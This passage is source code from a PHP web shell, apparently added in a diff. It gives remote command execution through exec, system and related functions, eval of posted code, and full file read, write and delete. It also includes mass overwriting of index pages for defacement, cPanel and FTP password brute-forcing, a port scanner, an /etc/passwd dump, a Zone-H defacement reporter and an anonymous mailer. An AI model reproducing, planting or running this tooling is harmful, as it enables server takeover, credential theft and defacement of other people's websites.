=\"red\"><b>File Size: </b></font>" . wdll_s1z(@filesize($fa)) ."</td></tr> <tr><td><font color =\"red\"><b>Create:</b></font> ".@date('d/m/Y H:i:s',@filectime($fa))."</td></tr><tr><td><font color =\"red\"><b>Modify: </b></font>" .@date('d/m/Y H:i:s', @filemtime($fa)) ."</td></tr><tr><td><font color =\"red\"><b>Mode: </b></font>" .wdll_permc($fa) . "</td></tr></table></center><br><center><table><tr>";echo "<form method=\"post\" action=\"" . $php . "?download=".$fa ."\"> ";sub('down','Download',$pr='');echo "</form>";echo "<form method=\"post\" action=\"" . $php . "?cod=" .@base64_encode($fa)."\">";sub('Source','Source',$pr='');echo "</form>";echo "<form method=\"post\" action=\"" . $php . "?chmod=" .$fa."\">";echo "</form>";echo "<form method=\"post\" action=\"" . $php . "?delete=" .@base64_encode($fa)."\">";sub('Delete','Delete',$pr='');echo "</form>";echo "</tr></table></center>";ft(); die;} + +if (isset($_REQUEST["delete"]) && $_REQUEST["delete"] != @basename($_SERVER["SCRIPT_FILENAME"])) +{$rdel = base64_decode($_REQUEST["delete"]); + $rdel = str_replace("\\", DIRECTORY_SEPARATOR, $rdel);if (@is_dir($rdel)){if (substr($rdel, -1) != DIRECTORY_SEPARATOR){$rdel .= DIRECTORY_SEPARATOR;}} elseif (is_file($rdel)){if(@unlink(htmlspecialchars($rdel))){echo "file " . $rdel . " Removed";}} else {echo "File Not Found";}echo "<p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a></p>"; ft(); die;} + +if (isset($_REQUEST["cod"]) && $_REQUEST["cod"] != @basename($_SERVER["SCRIPT_FILENAME"])){ if ($_REQUEST["cod"]){$tx = @base64_decode($_REQUEST["cod"]);if(function_exists('highlight_file')){@highlight_file($tx);}elseif(@function_exists('file_get_contents')){echo @file_get_contents($tx);}elseif(function_exists('file')){echo @file($tx);}else {rd();}}echo "<p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a></p>";ft(); die;} + +if (isset($_REQUEST["info"]) && $_REQUEST["info"] != @basename($_SERVER["SCRIPT_FILENAME"])) +{ echo("(wadelamin)<br> www.w.dll-sd.com<br>www.piaster.net<br> w.dll@live.com 2011 ");echo "<p align=\"center\"><a href=\"".$php."\">Home</a><br></p>";ft(); die;} + if(isset($_REQUEST['allss'])){ +switch ($_REQUEST['fsOP']) +{ +//toolz +case 'cmdr': {$oP = 6;}break; +case 'mil' : {$oP = 7;}break; +case 'fts' : {$oP = 8;}break; +case 'ftm' : {$oP = 9;}break; +case 'frc' : {$oP = 10;}break; +case 'fcf' : {$oP = 11;}break; +case 'fsf' : {$oP = 12;}break; +case 'fbk' : {$oP = 13;}break; +case 'cry' : {$oP = 14;}break; +case 'seaa': {$oP = 15;}break; +}define(oP,$oP);} + if(isset($_REQUEST['allqw'])){ +switch ($_REQUEST['dbOP']){ +case 'dmi': {$oPp = 1; }break; +case 'ddu' : {$oPp = 2;}break; +case 'ddr' : {$oPp = 3;}break; +case 'dau' : {$oPp = 4;}break; +case 'dml' : {$oPp = 5;}break; +case 'dqu' : {$oPp = 6;}break; +case 'etr' : {$oPp = 7;}break; + + }define(oPp,$oPp);} + + if(isset($_REQUEST['mSendm'])) { + + $headers = 'To: '.$_REQUEST['mito']."\r\n"; + $headers .= 'From: '.$_REQUEST['mnam'].' '.$_REQUEST['mmail']."\r\n"; + if (mail($_REQUEST['mito'],$_REQUEST['msubj'],$_REQUEST['mmsg'],$headers)) { + echo "<center><b>Email sent!</b></center>"; + } + else { echo "<center>Couldn't send email!</center>"; } +echo "<br><br><br><a href=\"".$php."\">Home</a>|&nbsp;|<a href=\"javascript: history.go(-1)\">Back</a><br>"; ft();exit; } +if(isset($_REQUEST["massa"])) +{global $coded,$lop,$msi; +$lop = 2; +$coded = htmlspecialchars($_POST['coded']); +$skid= htmlspecialchars($_POST['skid']); +$msd = htmlspecialchars($_POST['masdr']); +@chdir($msd); +$msi = $_POST['msi']; +if($msi == 'msfi'||$msi == 'msfa'||$msi == 'msfr'){ +$msdr = @opendir($msd) or die("<br><b>Permision denied! Unable to open dir $msd"); +wdll_nora($msdr, $msd,$coded,$skid); +} +else{db_mass($coded,$msi);exit;}} + +function fetchFilef($url,$path,$file) +{$data=fetchFile($url); + if ($data) + {$d=@fopen($path.'/'.$file,"wb"); + $ret=@fwrite($d,$data); + @fclose($d); + return $ret;}return false;} + +function fetchFile($url){ + $urlpr=@parse_url($url); + $in=''; + $host=$urlpr['host']; + $port=isset($urlpr['port']) ? intval($urlpr['port']) : 80; + if ($port==0) $port=80; + $path=$urlpr['path']; + if (isset($urlpr['query'])&&$urlpr['query']!='') $path.='?'.$urlpr['query']; + $fs=@fsockopen($host,$port,$errno,$errstr,3); + if ($fs) + {$out="GET $path HTTP/1.1\r\nHost: $host\r\n"; + $out.="Connection: close\r\n\r\n"; + @fwrite($fs,$out); + $end=false; + while (!feof($fs)) + {$fl=@fgets($fs,1024); + if ($end) $in.=$fl; + if ($fl=="\r\n") $end=true;} + @fclose($fs); + }return $in;} + function rt($dat) {global $fp;if ($_REQUEST['sqldp']=='SQL'){@fwrite($fp,$dat);}else{@gzwrite($fp, $dat);}} + +if(@function_exists('mysql_connect')){$dtb = "<font color=green>MySQL : On</font>";};if(@function_exists('mssql_connect')){$dtb = "<font color=green>MSSQL : On</font>";};if(@function_exists('pg_connect')){$dtb = "<font color=green>PostgreSQL : On</font>";};if(@function_exists('ocilogon')){$dtb = "<font color=green>Oracle : On</font>";}; +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +$HO= "<a href=\"".$php."\">Home</a>";$kilm= "<a href=\"".$php."?kil=me\">Kill Me</a>"; +$sys = "OS: <font color=orange>".@wordwrap(@php_uname())."</font>"; +$us = "User: <font color=orange>".@get_current_user()."</font>"; +$SAD = "Admin Mail: <font color=orange>".$_SERVER['SERVER_ADMIN']."</font>"; +$soft = "Server: "."<font color=orange>".@getenv("SERVER_SOFTWARE")."</font>"; +if(@ini_get('disable_functions')){$FUC="Functions: <font color=red>Disable</font>";}else{$FUC="Functions:<font color=green> Enable</font>";} +if(curc()){$cur="Curl: <font color=green>Enable</font>";}else{$cur="Curl: <font color=red>Disable</font>";} +if (function_exists('ini_get')) +if (@ini_get("safe_mode") || strtolower(@ini_get("safe_mode")) == "on") +{$safe= TRUE;$mode = "<font color=red>ON</font>";} +else {$safe = FALSE; $mode = "<font color=green>OFF</font>";} +if (function_exists('ini_get')) +{$ob = @ini_get("open_basedir");}else {$ob = @get_cfg_var("open_basedir");} +if ($ob or strtolower($ob) == "on") {$openB = TRUE; $basedir = "<font color=red>".$ob."</font>";} +else {$openB = FALSE; $basedir = "<font color=green>OFF</font>";} +echo "<br><table bgcolor=\"800000\" width =80%><td>"; +echo "|| $HO || Safe Mode = ".$mode." &nbsp;|&nbsp;Open_Basedir = ". $basedir."&nbsp;|".$us."&nbsp;|".$soft."&nbsp;| ".$SAD."&nbsp;| ".$FUC."&nbsp;| ".$cur."<BR>"; + +echo $sys; +if(!$win)echo "&nbsp;| <b>Uid=".@getmyuid()." Gid=".@getmygid()."</b>&nbsp;|"; +if (is_callable("disk_free_space")) +{$fre = @disk_free_space($path);$tot = @disk_total_space($path);if ($fre === FALSE) {$fre = 0;}if ($tot === FALSE) {$tot = 0;}if ($fre < 0) {$fre = 0;}if ($tot < 0) {$tot = 0;}$used = $tot-$fre;$frep = @round(100/($tot/$fre),2); +echo "&nbsp;| HDD Free <font color =\"orange\">".wdll_s1z($fre)."</font> HDD Total&nbsp;<font color =\"orange\">".wdll_s1z($tot)."</font> (".$frep."%)</b> ";} +echo"<font color=ffffff>&nbsp;|Dir mode:&nbsp;<b>".substr(decoct(@fileperms($path)), -3, 3)."</b></font>| DB:&nbsp; ".$dtb."&nbsp;| ".$kilm.""; +echo "</td></table><br>"; + +if(isset($_REQUEST["find"])) +{wdll_repx(); global $fin; +$pathfd =htmlspecialchars($_POST['goto']); +$fin = stripcslashes(htmlspecialchars($_POST['fin']));$fin = str_replace("\\\\","\\",$fin); +$dih = @opendir($pathfd) or die("<br><b>Permision denied! Unable to open dir $path"); +echo wdll_nora($dih,$pathfd,$fin);} + +if(isset($_REQUEST["search"])) +{ global $words,$wordonly,$sesir,$serdir,$sea,$lop; +$lop = 1; +$serdir = htmlspecialchars($_POST['serdir']); +$sesir = htmlspecialchars($_POST['sedir']); +$words = trim(htmlspecialchars($_POST['searcc'])); +$wordonly = trim('/'.$words.'/'); + +$sea = $_POST['sea']; +$skid= htmlspecialchars($_POST['skid']); +wdll_repx(); +$ser = @opendir($serdir) or die("<br><b>Permision denied! Unable to open dir $path"); +wdll_nora($ser, $serdir,$words,$skid); +echo "<a href=\"".$php."\">Home</a>|&nbsp;|<a href=\"javascript: history.go(-1)\">Back</a><br>";exit;} + +if(oP == '10' || isset($_GET['dir'])|| isset($_GET['show'])||isset($_REQUEST["dir"])) +{echo "<form action=\"".$php."\"method=\"post\"> +<a href=\"".$php."\">Home</a>|&nbsp;|<a href=\"javascript: history.go(-1)\">Back</a><br>"; +if($win)wdir();echo "<br><br> +<b>Change Directory<br></b>"; +inp('text','25','goto',path); +sub('dir','GO'); +echo "</form>"; + $files = array(); + $dir = array(); +wdll_repxl(); + if ($handle = @opendir(path)) + {while (false !== ($file = @readdir($handle))) + {if(@is_dir($file)){$dir[] = $file;}else{$files[] = $file;}} + asort($dir);asort($files); + foreach($dir as $file){wdll_repxt($file);} + foreach($files as $file){wdll_repxtr($file);}} + else{echo "<u>Error!</u> Can't open <b>".@realpath('.')."</b>!<br>";}if(!isset($_GET['show']))exit(); +} +function CFile($file,$serc) + { + if (!@is_readable($file)) + {@chmod($file, 0644);} + $ioo = @file_get_contents($file); + $x0 = true; + if(@preg_match($serc, $ioo)) + {$x0 = false;}return $x0;} + +function md($mvdir,$dst,$cop=false) { +if (substr($dst,-1) == "\\") $dst = substr($dst,0,strlen($dst)-1); +if (substr($mvdir,-1) == "\\") $mvdir = substr($mvdir,0,strlen($mvdir)-1); +if (!file_exists($mvdir)) return FALSE; +dexists($dst); +$han = @opendir($mvdir); +while ($f = @readdir($han)) { +$mvd = $mvdir . "\\" . $f; +if (@is_dir($mvd)) { +if (!($f['value']=="." || $f=="..")) { +md($mvd,$dst . "\\" . $f,$cop);};} else { +if(@copy( $mvd ,$dst . "\\" . $f))echo $mvd."&nbsp;Move&nbsp;Done \n"; +if (!$cop) { +@unlink($mvd);};};};@closedir($han);if (!$cop) {@rmdir($mvdir);};return TRUE;}; +function dexists($dir) { +if (substr($dir,-1) == "\\") $dir = substr($dir,0,strlen($dir)-1); +if (@file_exists($dir)) return TRUE; +$ex = explode("\\",$dir); +while ($mc = each($ex)) { +$mx = $mc['value'];}; +$mx = str_replace("\\" . $mx,"",$dir); +if (!file_exists($mx)) { +dexists($mx);}; +@mkdir($dir,0777); +return TRUE;} + +$sqquery = htmlspecialchars($_POST['sqquery']); +define(sql_query,$sqquery); + +if($_REQUEST['do']=="db" || isset($_REQUEST['sqlwxp'])){ +echo sqlexp(); +exit;} + +if(isset($_REQUEST["sqconf"])){wdll_dbc();exit;} +wdll_bdx('800000'); + +function wdll_nora($dih, $path,$fin='',$skid ='') +{ global $words,$wordonly,$sesir,$serdir,$sea,$msi,$lop,$fin; + while (false !== ($file = @readdir($dih))) +{$dir = $path . '/' . $file; +if (@is_dir($dir) && $file != '.' && $file != '..' && $file != $skid) +{ +$wok = @opendir($dir) or die("<br><b>Permision denied! undable to open dir $file"); +wdll_nora($wok, $dir,$fin,$skid);} +elseif ($file != '.' && $file != '..' && $file != $skid) +{ +if($_REQUEST["find"]){if($file == $fin){wdll_rep($dir, $path, $file);}} +if($lop=='1'){ + switch ($_REQUEST["sea"]) + { + case('cepr'):{if(!CFile($dir,$words)){wdll_rep($dir, $path, $file);}}break; + case('cewo'):{if(!CFile($dir,$wordonly)){wdll_rep($dir, $path, $file);}}break; + + case('cefi'):{if (similar_text($file, $words) >= 3){wdll_rep($dir, $path, $file);}}break; + case('cefn'):{if($file == $words){wdll_rep($dir, $path, $file);}}break; + + case('cefm'):{$perm = substr(decoct(@fileperms($dir)), -3, 3);if($perm == $words){wdll_rep($dir, $path, $file);} }break; + case('ceft'):{$xtr = @pathinfo($file);$extt = $xtr["extension"]; if($extt == $words){wdll_rep($dir, $path, $file);}}break; + + default:{ echo "<a href=\"javascript: history.go(-1)\">Back....&nbsp;</a>";die('PLZ Select Search Mode');}}} + + if($lop =='2') + {switch ($_REQUEST["msi"]){ case('msfi'):{if($file == 'index.php'or $file == 'home.php'or $file == 'index.aspx'or $file == 'index.html'or $file == 'index.htm'){ fiindex($dir);}}break; + case('msfa'):{if(@is_file($dir)) {fiindex($dir);}}break; +case('msfr'):{if($file != 'index.php'or $file != 'home.php'or $file != 'home.aspx'or $file != 'index.html'or $file != 'index.htm'){delf($dir);}}break;}} + +}}@closedir($dih);} +//------------------------------------------------------------------------------- + +function extr_si(){ + $rvlink = $_REQUEST["sqtid"]; + { + $rvsorc = "http://www.yougetsignal.com/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php?remoteAddress="; + $rvall = $rvsorc.$rvlink; + $rvcon = file_get_contents($rvall); + preg_match_all('/"(.*?)"/si', $rvcon, $rvsits); + foreach(array_unique($rvsits[1]) as $rvrs) { + if(strstr($rvrs,'.')) { + if(eregi('www',$rvrs)) { + echo "http://".$rvrs."\n"; + } + else { + echo "http://www.".$rvrs."\n";}}}} + } +function cc($sit,$prt,$usr,$pwd,$tl){ +$ses = @curl_init(); +@curl_setopt($ses, CURLOPT_URL, "http://$sit:$prt"); +@curl_setopt($ses, CURLOPT_RETURNTRANSFER, 1); +@curl_setopt($ses, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); +@curl_setopt($ses, CURLOPT_USERPWD, "$usr:$pwd"); +@curl_setopt($ses, CURLOPT_CONNECTTIMEOUT, $tl); +@curl_setopt($ses, CURLOPT_FAILONERROR, 1); +$mix = @curl_exec($ses); return $mix; +if ( @curl_errno($ses) == 28 ) {$er= "Connection Timeout Please Check&nbsp;[".$sit."]\n"; return $er; exit;} +elseif ( @curl_errno($ses) == 0 ) +{$fc ="Cracking Success With Username&nbsp;[".$usr."]&nbsp;and Password&nbsp;[".$pwd."]&nbsp;Enjoy\n"; return $fc;} +@curl_close($ses);} + +function fc($sit,$usr,$pwd,$tl){ +$ses = @curl_init(); +@curl_setopt($ses, CURLOPT_URL, "ftp://$sit"); +@curl_setopt($ses, CURLOPT_RETURNTRANSFER, 1); +@curl_setopt($ses, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); +@curl_setopt($ses, CURLOPT_FTPLISTONLY, 1); +@curl_setopt($ses, CURLOPT_USERPWD, "$usr:$pwd"); +@curl_setopt ($ses, CURLOPT_CONNECTTIMEOUT, $tl); +@curl_setopt($ses, CURLOPT_FAILONERROR, 1); +$mix = @curl_exec($ses); +if ( @curl_errno($ses) == 28 ) {$er ="[+]Error :Connection Timeout Please Check&nbsp;[".$sit."]\n"; return $er; exit;} +elseif ( @curl_errno($ses) == 0 ){ +$fc = "[+]Cracking Success With Username&nbsp;[".$usr."]&nbsp;and Password&nbsp;[".$pwd."]&nbsp;Enjoy\n";} +return $fc; +@curl_close($ses);} + +function zhsr($hname,$htype,$hwhy,$domain) +{$zh = 'http://zone-h.org/notify/single/'; +echo $zh."defacer=".$hname."&domain1=". $domain."&hackmode=".$htype."&reason=".$hwhy."\n"; +$ch = @curl_init(); +@curl_setopt($ch, CURLOPT_URL, $zh); +@curl_setopt($ch,CURLOPT_POST,true); +@curl_setopt($ch, CURLOPT_POSTFIELDS,"defacer=".$hname."&domain1=". $domain."&hackmode=".$htype."&reason=".$hwhy); +@curl_setopt($ch,CURLOPT_FOLLOWLOCATION, true); +@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); +if ( @curl_errno($ch) == 28 ) {$er= "Connection Timeout Please Check&nbsp;[http://zone-h.org]\n"; echo $er."\n"; exit;} +elseif ( @curl_errno($ch) == 0 ) {echo "[+]Zone-H Done\n";} +$rs = @curl_exec($ch);@curl_close($ch);echo $rs;} + +function wdll_updir($dih, $path) +{while (false !== ($file = @readdir($dih))){$dir = $path . '/' . $file; +if ($file != '.' && $file != '..'){if(!@is_file($file)){echo $dir." &nbsp;=======>[DIR]\n";}else echo $dir."\n";}}@closedir($dih);} + +function wdll_p($mode) +{switch(true){case(($mode & 0xC000) === 0xC000): {$t = "s";}break;case(($mode & 0x4000) === 0x4000): {$t = "d";}break;case(($mode & 0xA000) === 0xA000): {$t = "l";}break;case(($mode & 0x8000) === 0x8000): {$t = "-";}break;case(($mode & 0x6000) === 0x6000): {$t = "b";}break;case(($mode & 0x2000) === 0x2000): {$t = "c";}break;case(($mode & 0x1000) === 0x1000): {$t = "p";}break;case true :{$t = "?"; }break;}$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0;$o["x"] = ($mode & 00100) > 0; $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;return array("t" => $t, "o" => $o, "g" => $g, "w" => $w);} + +function show_users() +{$users = array();$rows=@file('/etc/passwd');if(!$rows) return 0;foreach ($rows as $string){$user = @explode(":",$string);if(substr($string,0,1)!='#') array_push($users,$user[0]);}echo $users."\n";} +function wdll_permc($file) +{ if(@is_writable($file)) { return "writable";} +if(!@is_writable($file) && @is_readable($file)) { return "red only";} +if(!@is_writable($file) && @!is_readable($file)) { return "un writable";} +} +function wdll_perm($file) +{ +$mode=@fileperms($file); +$perms=''; +$perms .= ($mode & 00400) ? 'r' : '-'; +$perms .= ($mode & 00200) ? 'w' : '-'; +$perms .= ($mode & 00100) ? 'x' : '-'; +$perms .= ($mode & 00040) ? 'r' : '-'; +$perms .= ($mode & 00020) ? 'w' : '-'; +$perms .= ($mode & 00010) ? 'x' : '-'; +$perms .= ($mode & 00004) ? 'r' : '-'; +$perms .= ($mode & 00002) ? 'w' : '-'; +$perms .= ($mode & 00001) ? 'x' : '-'; +return $perms; +} + +if(isset($_REQUEST["svff"])) +{$wdf = stripslashes(stripcslashes($_POST['svdi'])); +$wdn = stripslashes(stripcslashes($_POST['cfed'])); +$wdc = @fopen($wdf, "wb"); +@fwrite($wdc, $wdn); +@fclose($wdc);} + +function delf($dir) +{$dir = str_replace("\\", DIRECTORY_SEPARATOR, $dir); +if (@is_dir($dir)){if (substr($dir, -1) != DIRECTORY_SEPARATOR){$dir .= DIRECTORY_SEPARATOR;}} +elseif (@is_file($dir)){if (@unlink($dir)){echo "File: ".$dir." ................Removed<br>";}} +else{echo "Could not remove " . $dir . " OR File not Found";}} + +function wdll_cmdf($cmdq) +{$res = '';if (!empty($cmdq)){if(function_exists('exec')){@exec($cmdq,$res);$res = @join("\n",$res);}elseif(function_exists('shell_exec')){$res = @shell_exec($cmdq);}elseif(function_exists('system')){@ob_start();@system($cmdq);$res = @ob_get_contents();@ob_end_clean();}elseif(function_exists('passthru')){@ob_start();@passthru($cmdq);$res = @ob_get_contents();@ob_end_clean();}elseif(@is_resource($f = @popen($cmdq,"r"))){$res = "";while(!@feof($f)) { $res .= @fread($f,1024); }@pclose($f);}}return $res;} + +function fiindex($wdf) +{global $coded; + $wdc = @fopen($wdf, "wb"); +$wdn = str_replace("\\"," ",$coded); +@fwrite($wdc, $wdn); +if(@fclose($wdc))echo $wdf.".........Done<br>"; +return true; } +function wdll_chf() +{@ini_restore("safe_mode"); +@ini_restore("open_basedir");if(function_exists('exec')) return true; +elseif(function_exists('system')) return true; +elseif(function_exists('shell_exec')) return true; +elseif(function_exists('passthru')) return true; +else return false;} + +function wdll_s1z($size, $digits = 2) +{ $kb = 1024; $mb = 1024 * $kb; $gb= 1024 * $mb; $tb = 1024 * $gb; +switch (true){ +case ($size == 0): { return "N/A"; }break; +case ($size < $kb): { return $size."B"; }break; +case ($size < $mb): { return @round($size / $kb,$digits)."KB"; }break; +case ($size < $gb): { return @round($size / $mb,$digits)."MB"; }break; +case ($size < $tb): { return @round($size / $gb,$digits)."GB"; }break; +case true: { return @round($size / $tb, $digits)."TB"; }break; +}} +function ps() { + +$hot = htmlspecialchars($_POST['hot']); +$spt =intval(htmlspecialchars($_POST['spot'])); +$ept = intval(htmlspecialchars($_POST['epot'])); +echo "IP/Domain :&nbsp;".$hot; +echo "\nChecking...From &nbsp;".$spt."&nbsp;To&nbsp;".$ept."&nbsp;Ports\n"; +for($x = $spt; $x <= $ept; $x++) { +$OK = @fsockopen($hot, $x, $errno, $errstr, 3); +if($OK) { +echo "[-] Port [".$x."] is open\n";}}echo "Port Scan Complete";} + +function rf(){$temp=@tempnam('', "wd");$pos= stripslashes($_POST['cfil']);if(@copy("compress.zlib://".$pos, $temp)){$han = @fopen($temp, "r");$fct = @fread($han, @filesize($temp));@fclose($han);return $fct;@unlink($temp);} else {echo("File".$pos."dosen't exists or you don't haveaccess.");}} + +if (!$error) +{if (function_exists('ini_get')){$umf=@ini_get("upload_max_filesize");}else {$umf =@get_cfg_var('upload_max_filesize');} +if (preg_match("/([0-9]+)K/i",$umf,$tem)) $umf=$tem[1]*1024; +if (preg_match("/([0-9]+)M/i",$umf,$tem)) $umf=$tem[1]*1024*1024; +if (preg_match("/([0-9]+)G/i",$umf,$tem)) $umf=$tem[1]*1024*1024*1024;} + + +$up_d = $path ; + +if (!$error && isset($_REQUEST["upcom"])) +{ if (@is_uploaded_file($_FILES["dfill"]["tmp_name"]) && ($_FILES["dfill"]["error"])==0) +{ +$up_fn=str_replace(" ","_",$_FILES["dfill"]["name"]); +$up_fn=preg_replace("/[^_A-Za-z0-9-\.]/i",'',$up_fn); +$up_fp=str_replace("\\","/",$up_d."/".$up_fn); +if (file_exists($up_fn)) +{ echo ("<p class=\"error\">File $up_fn already exist! Delete and upload again!</p>\n");} +else if (!@move_uploaded_file($_FILES["dfill"]["tmp_name"],$up_fp)) +{ echo ("<p class=\"error\">Error moving uploaded file ".$_FILES["dfill"]["tmp_name"]." to the $up_fp</p>\n"); +echo ("<p>Check the directory permissions for $up_d (must be 777)!</p>\n");icod();}else +{ echo ("<p class=\"success\">Uploaded file saved as $up_fn</p>\n");}}else +{ echo ("<p class=\"error\">Error uploading file ".$_FILES["dfill"]["name"]."</p>\n");}} + + +echo "<div align = center>"; +if (isset($_REQUEST["mkD"])) +{ +if (file_exists(htmlspecialchars($_POST['mKd']))) +{echo "Make Dir: \"".htmlspecialchars($_POST['mKd'])."\" Dir alredy exists";} +elseif (!@mkdir(htmlspecialchars($_POST['mKd']),0777)) +{echo "Make Dir \"".htmlspecialchars($_POST['mKd'])."\" access denied";} +else {echo "Dir :".htmlspecialchars($_POST['mKd'])."Created Done"; } +} +if (isset($_REQUEST["mkF"])) +{ +if (file_exists($mkfile)) +{echo "<b>Make File: \"".htmlspecialchars($_POST['mKf'])."\" File alredy exists";} +elseif (!@fopen(htmlspecialchars($_POST['mKf']), "wb")) +{echo "<b>Make File: \"".htmlspecialchars($_POST['mKf'])."\" access denied";} +else {echo "<b>File:".htmlspecialchars($_POST['mKf'])."Created Done";} +} +if(isset($_REQUEST["chfl"])){ +$ftc = htmlspecialchars($_POST['cfx']); +$ftx = $_POST['cfy']; +echo $ftc.$ftx; +switch($_POST['ch']) +{ +case 'cm': +if(@chmod($ftc,$ftx)){echo "File: &nbsp;".$ftc."&nbsp;CH to |&nbsp;".$ftx;}else echo "&nbsp;dosen't exists or you don't have +access";break;case 'co': +if(@chown($ftc,$ftx)){echo "File: &nbsp;".$ftc."&nbsp;CH to |&nbsp;".$ftx;}else echo "&nbsp;dosen't exists or you don't have +access";break;case 'cg': +if(@chgrp($ftc,$ftx)){echo "File: &nbsp;".$ftc."&nbsp;CH to |&nbsp;".$ftx;}else echo "&nbsp;dosen't exists or you don't have +access";break;case 'cu':if(@unlink($ftc)){echo "File:&nbsp; ".$ftc." &nbsp;Removed";}else echo "&nbsp;dosen't exists or you don't haveaccess";break;}} + +if(isset($_REQUEST["upff"])) +{ +$ft1 = htmlspecialchars($_POST['upf']); +$cod = htmlspecialchars($_POST['code']); +fmas($ft1,$cod); +} +function fmas($dir,$codm) +{ +$han = @fopen($dir,"w+"); +@fwrite($han, $codm); +if(@fclose($han)){echo "File&nbsp;".$ft1."&nbsp;Uploaded";}else {echo "Noop!";} +} + +switch(true){ +case(oP == '7'):{ mailr_s();}break; +case(oP == '9'):{ccf();}break; +case(oP == '11'):{ htc();}break; +case(oP =='12'):{zh();}break; +case(oP =='15'):{ sear();}break; +case (oP == '14'||isset($_REQUEST["crtty"])):{hashw();exit();}break; +case(oPp == '3'):{rs('cfed','141','22',$st='readonly');show_users();echo "</textarea>";}break; + +case(oPp =='5'):{ sqlinj();}break; +case(oPp == '6'):{ ps5s();}break; +case(oPp == '7'):{ extr_i();}break; + + +case(isset($_REQUEST["evap"])):{ +rs('cfed','141','22',$st='readonly'); +$sd = stripcslashes($_POST['evac']); +@eval($sd); +echo "</textarea>";}break; + +case(isset($_REQUEST["gotod"])): +{ +rs('cmdm','141','22',$st='readonly'); +$path =htmlspecialchars($_POST['goto']); +$dih = @opendir($path) or die("<br><b>Permision denied! Unable to open dir $path"); +if(wdll_chf())echo wdll_cmdf('dir');else htmlspecialchars(htmlspecialchars(wdll_updir($dih, $path))); +echo "</textarea>";}break; + +case(isset($_REQUEST["finds"])): +{$pathh =htmlspecialchars($_POST['goto']); +$fin = htmlspecialchars($_POST['fin']);echo "Find File = &nbsp;".$fin."&nbsp;&nbsp;Dir = &nbsp;".$path ; +rs('cmdm','141','22',$st='readonly'); +$dih = @opendir($pathh) or die("<br><b>Permision denied! Unable to open dir $path"); +echo wdll_nora($dih,$pathh,$fin); +echo "</textarea>";}break; +case (isset($_REQUEST["mvdi"])):{rs('cmdm','141','22',$st='readonly'); +$cop = true; +$mvdir = htmlspecialchars($_POST['movd']); +$dst = htmlspecialchars($_POST['destd']); +if(!empty($_POST['rvm'])){$cop = false;} +md($mvdir,$dst,$cop);echo "</textarea>"; +}break; + + +case(isset($_REQUEST["gip"])): +{echo "<br>SQL INJECTION FOUNDER<br>"; + rs('cmdm','141','22',$st='readonly'); + echo sqlj_do($_REQUEST["ipp"]); + echo "</textarea>"; + echo "<p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a></p>"; ft(); die; +}break; +case(isset($_REQUEST["gfil"]) || isset($_REQUEST['gfils'])|| isset($_REQUEST['show'])): +{echo "<form name=\"savf\" action=\"".$php."\"method=\"post\">"; +rs('cfed','141','22'); + if($_GET['show']) {$pos = @base64_decode(htmlspecialchars($_REQUEST['show'])); + + if(function_exists('file_get_contents')) +{echo @file_get_contents($pos);} +elseif(function_exists('file')) +{echo @file($pos);} +elseif(function_exists('fread')){$x5 = @fopen($pos,'rw');$dc = @fread($x5,@filesize($pos));@fclose($x5);} +else {rf();} echo "</textarea>";inp('hidden','50','goto',path); +inp('hidden','50','svdi',$pos,'','<br>'); +sub('svff','Save',$pr='<br>');exit;} + +elseif(isset($_REQUEST['gfils'])){$pos = $HTTP_POST_VARS['cfils'];sqlf($pos);} + else {$pos = $HTTP_POST_VARS['cfil'];} + +switch($_REQUEST['getm']){ +case('1'):{{$x5 = @fopen($pos,'rw');$dc = @fread($x5,@filesize($pos));@fclose($x5);echo $dc;}}break; +case('2'):{echo rf();}break; +case('3'):{if(function_exists('file_get_contents')){echo @file_get_contents($pos);}}break;} + +echo "</textarea>"; +inp('hidden','50','goto',path); +inp('hidden','50','svdi',$pos,'','<br>'); +sub('svff','Save',$pr='<br>');}break; +case(isset($_REQUEST['cmdr'])):{ +rs('cmdm','141','22',$st='readonly'); +$pos = $_POST['cmde']; +echo wdll_cmdf($pos); +echo "</textarea>";}break; +case(isset($_REQUEST['aliA'])) :{ + $alis = $_REQUEST['alI']; +define('dir',$alis); +echo "Command: &nbsp;".$alis."<br>"; +rs('cmdm','141','22',$st='readonly'); +echo wdll_cmdf($alis); +echo "</textarea>";}break; +case(isset($_REQUEST['spots'])):{ +rs('cmdm','141','22',$st='readonly'); +ps(); + +echo "</textarea>"; +echo "<p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a></p>"; ft(); die;}break; + +case(isset($_REQUEST['crcf'])):{if(!curc())die("Curl Not Avilable on this Server Can.t complete opration!");else{ +$prt=$_REQUEST['port']; +$us=$_REQUEST['uses']; +$pa=$_REQUEST['pass']; +$sit=$_REQUEST['site']; +$crt=$_REQUEST['crt']; +if($crt == ""){echo "\nERORR: Chois Crack Type Cpanel OR FTP ?\n"; +echo "<a href=\"javascript: history.go(-1)\">Back</a>";die;} +echo "Crack Type:&nbsp;".$_REQUEST['crt']."\n[~] Cracking Process Started, Please Wait ...\n"; +rs('cmds','141','22',$st='readonly'); +$us=explode("\n",$us); +$pa=explode("\n",$pa); +echo "Crack Type:&nbsp;".$_REQUEST['crt']."\n[~] Cracking Process Started, Please Wait ...\n"; +if($sit == ""){$sit = "localhost";} +if($prt == ""){$prt = "2082";} +foreach ($us as $u){$usr = trim($u); +foreach ($pa as $p ){$pwd = trim($p); +if($crt == "FTP"){echo fc($sit,$usr,$pwd,$tl);} +if ($crt == "Cpanel"){echo cc($sit,$prt,$usr,$pwd,$tl);}}} +echo "\n[~] Cracking Process Done!\n"; +echo "</textarea>";unset($crcf);}}break; + +case(isset($_REQUEST['dhtc'])):{ +$ctc = htmlspecialchars($_POST['htc']); +$clc = htmlspecialchars($_POST['mhtc']); +rs('cmds','141','22',$st='readonly'); +switch($_REQUEST['htcc']){ +case('ch'):{$hd = @fopen(".htaccess","w+");@fwrite($hd,$clc);if(@fclose($hd)){echo "[+] 